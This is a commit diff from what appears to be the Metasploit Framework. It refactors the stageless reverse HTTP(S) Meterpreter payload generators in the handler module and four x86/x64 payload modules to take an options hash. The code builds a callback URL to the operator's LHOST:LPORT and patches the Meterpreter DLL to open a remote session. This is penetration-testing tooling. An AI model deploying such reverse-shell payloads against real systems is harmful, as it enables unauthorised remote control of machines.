Update http(s) generator functions

Methods now require a hash. I went with the hash because 1) that's what
we seem to use everywhere else, and 2) I couldn't get the new keyword
arguments working nicely with the block syntax (I'm clearly stupid).
bug/bundler_fix
OJ 2015-04-08 07:56:54 +10:00
parent 84397f5db0
commit 9fd40870d0
5 changed files with 33 additions and 20 deletions

View File

@ -26,25 +26,30 @@ module Handler::ReverseHttp::Stageless
], self.class)
end
def generate_stageless(ssl, &block)
url = "https://#{datastore['LHOST']}:#{datastore['LPORT']}#{generate_uri_uuid_mode(:connect)}/"
unless block_given?
raise ArgumentError, "Stageless generation requires a block argument"
def generate_stageless(opts={})
unless opts[:generator]
raise ArgumentError, "Stageless generation requires a generator argument"
end
if opts[:ssl].nil?
raise ArgumentError, "Stageless generation requires an ssl argument"
end
url = "http#{opts[:ssl] ? "s" : ""}://#{datastore['LHOST']}:#{datastore['LPORT']}"
url << "#{generate_uri_uuid_mode(:connect)}/"
# invoke the given function to generate the architecture specific payload
block.call(url) do |dll|
opts[:generator].call(url) do |dll|
verify_cert_hash = nil
if ssl
if opts[:ssl]
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
end
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
:url => url,
:ssl => ssl,
:ssl => opts[:ssl],
:ssl_cert_hash => verify_cert_hash,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,

View File

@ -37,9 +37,11 @@ module Metasploit4
def generate
# generate a stageless payload using the x86 version of
# the stageless generator
generate_stageless(false, &method(:generate_stageless_x86))
opts = {
:ssl => false,
:generator => method(:generate_stageless_x86)
}
generate_stageless(opts)
end
end

View File

@ -37,8 +37,11 @@ module Metasploit4
def generate
# generate a stageless payload using the x86 version of
# the stageless generator
generate_stageless(true, &method(:generate_stageless_x86))
opts = {
:ssl => true,
:generator => method(:generate_stageless_x86)
}
generate_stageless(opts)
end
end

View File

@ -37,10 +37,11 @@ module Metasploit4
def generate
# generate a stageless payload using the x64 version of
# the stageless generator
generate_stageless(false, &method(:generate_stageless_x64))
opts = {
:ssl => false,
:generator => method(:generate_stageless_x64)
}
generate_stageless(opts)
end
end

View File

@ -37,9 +37,11 @@ module Metasploit4
def generate
# generate a stageless payload using the x64 version of
# the stageless generator
generate_stageless(true, &method(:generate_stageless_x64))
opts = {
:ssl => true,
:generator => method(:generate_stageless_x64)
}
generate_stageless(opts)
end
end